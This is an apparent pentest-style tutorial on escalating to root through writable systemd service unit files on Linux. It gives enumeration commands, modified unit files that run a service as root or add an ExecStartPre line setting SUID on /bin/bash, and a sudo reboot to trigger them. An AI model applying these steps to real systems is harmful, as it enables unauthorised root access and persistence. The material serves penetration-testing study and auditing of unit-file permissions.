systemd is normally executed as PID 1 and manages system services through unit files.
System services run as ROOT by default unless another account is explicitly defined through the User= directive.
Therefore, write permissions over a privileged unit file may allow us to modify the commands executed by the service.
The modified configuration must subsequently be loaded and the unit started through one of the following actions:
Restarting the service
Reloading the systemd configuration and starting the service
Rebooting the system when the unit is enabled or started by another unit
Service Units
Requirements
Write permissions over an existing service unit file
e.g./etc/systemd/system/my-custom-app.service
Or:
Write permissions over a systemd unit directory to create a new unit
The unit must run as ROOT or another privileged user
The controlled user must be able to start/restart the service or reboot the system
The unit must be enabled or pulled in by another unit during boot
WantedBy=multi-user.target does not enable the unit by itself. systemctl enable creates the corresponding symbolic link inside multi-user.target.wants/.
systemctl cat <SERVICE>systemctl show <SERVICE> --property=FragmentPath,User,Group,UnitFileStatesystemctl is-enabled <SERVICE>
An empty User= value in a system service means that the default execution user is ROOT.
File Permissions
namei -l /etc/systemd/system/<SERVICE>
Service/System Restart
sudo -l
Look for privileges that allow:
Running thesystemctlcommand
Restarting a particular service
Executingreboot, haltorpoweroff
Abuse
Listing Sudo Privileges
From the target 🎯
Let’s suppose that we compromise a web application, achieve RCE and establish a reverse shell on the target.
First, we list the current user’s sudo privileges:
sudo -l
Output
Matching Defaults entries for john on HOST: !visiblepw, always_set_home, match_group_by_gid, always_query_group_plugin, env_reset, secure_path=/sbin:/bin:/usr/sbin:/usr/binUser john may run the following commands on HOST: (root) NOPASSWD: /sbin/halt, /sbin/reboot, /sbin/poweroff
The user cannot execute arbitrary commands through sudo, but can reboot the system as ROOT.
A reboot causes the new systemd process to read the unit files from disk and start the units enabled for the boot target.
Checking Write Permissions
From the target 🎯
Check whether the systemd unit directory is writable:
[Unit]Description=Python AppAfter=network-online.target[Service]Type=simpleWorkingDirectory=/home/john/restjsonUser=johnExecStart=flask run -h 0.0.0.0 -p 50000RestartSec=15sRestart=on-failure[Install]WantedBy=multi-user.target
The service runs as john because of the User=john directive.
Replacing ExecStart= would prevent the original Flask application from starting. Instead, we can preserve the original command and change only its execution context.
Running the Original Service as ROOT
Modify the execution user while preserving the original ExecStart=:
pythonapp.service
[Unit]Description=Python AppAfter=network-online.target[Service]Type=simpleWorkingDirectory=/home/john/restjsonUser=rootExecStart=flask run -h 0.0.0.0 -p 50000RestartSec=15sRestart=on-failure[Install]WantedBy=multi-user.target
After the reboot, Flask will listen again on port 50000, but the process will run as ROOT.
Exploiting the original web vulnerability again will therefore provide command execution as ROOT without requiring an additional payload.
Privileged ExecStartPre
Alternatively, we can preserve User=john and execute only one command with full privileges:
pythonapp.service
[Unit]Description=Python AppAfter=network-online.target[Service]Type=simpleWorkingDirectory=/home/john/restjsonUser=johnExecStartPre=+/usr/bin/chmod 4755 /bin/bashExecStart=flask run -h 0.0.0.0 -p 50000RestartSec=15sRestart=on-failure[Install]WantedBy=multi-user.target
The + prefix makes that specific command ignore the restrictions configured through User=.
The execution flow will be:
ExecStartPre=sets the SUID permission on/bin/bashas ROOT.
The command finishes successfully.
ExecStart=starts the original Flask application asjohn.
The web application becomes available again on port50000.
Comments must be placed on separate lines. systemd does not support inline comments after directive values.
If a new unit was created, it must also be enabled. This normally requires systemctl enable or write permissions over the corresponding .wants/ directory.
Rebooting the System
sudo --user root -- /sbin/reboot
A complete reboot reloads the modified unit automatically, so systemctl daemon-reload is not required.
halt and poweroff stop the system, but the payload will not execute until the machine is started again.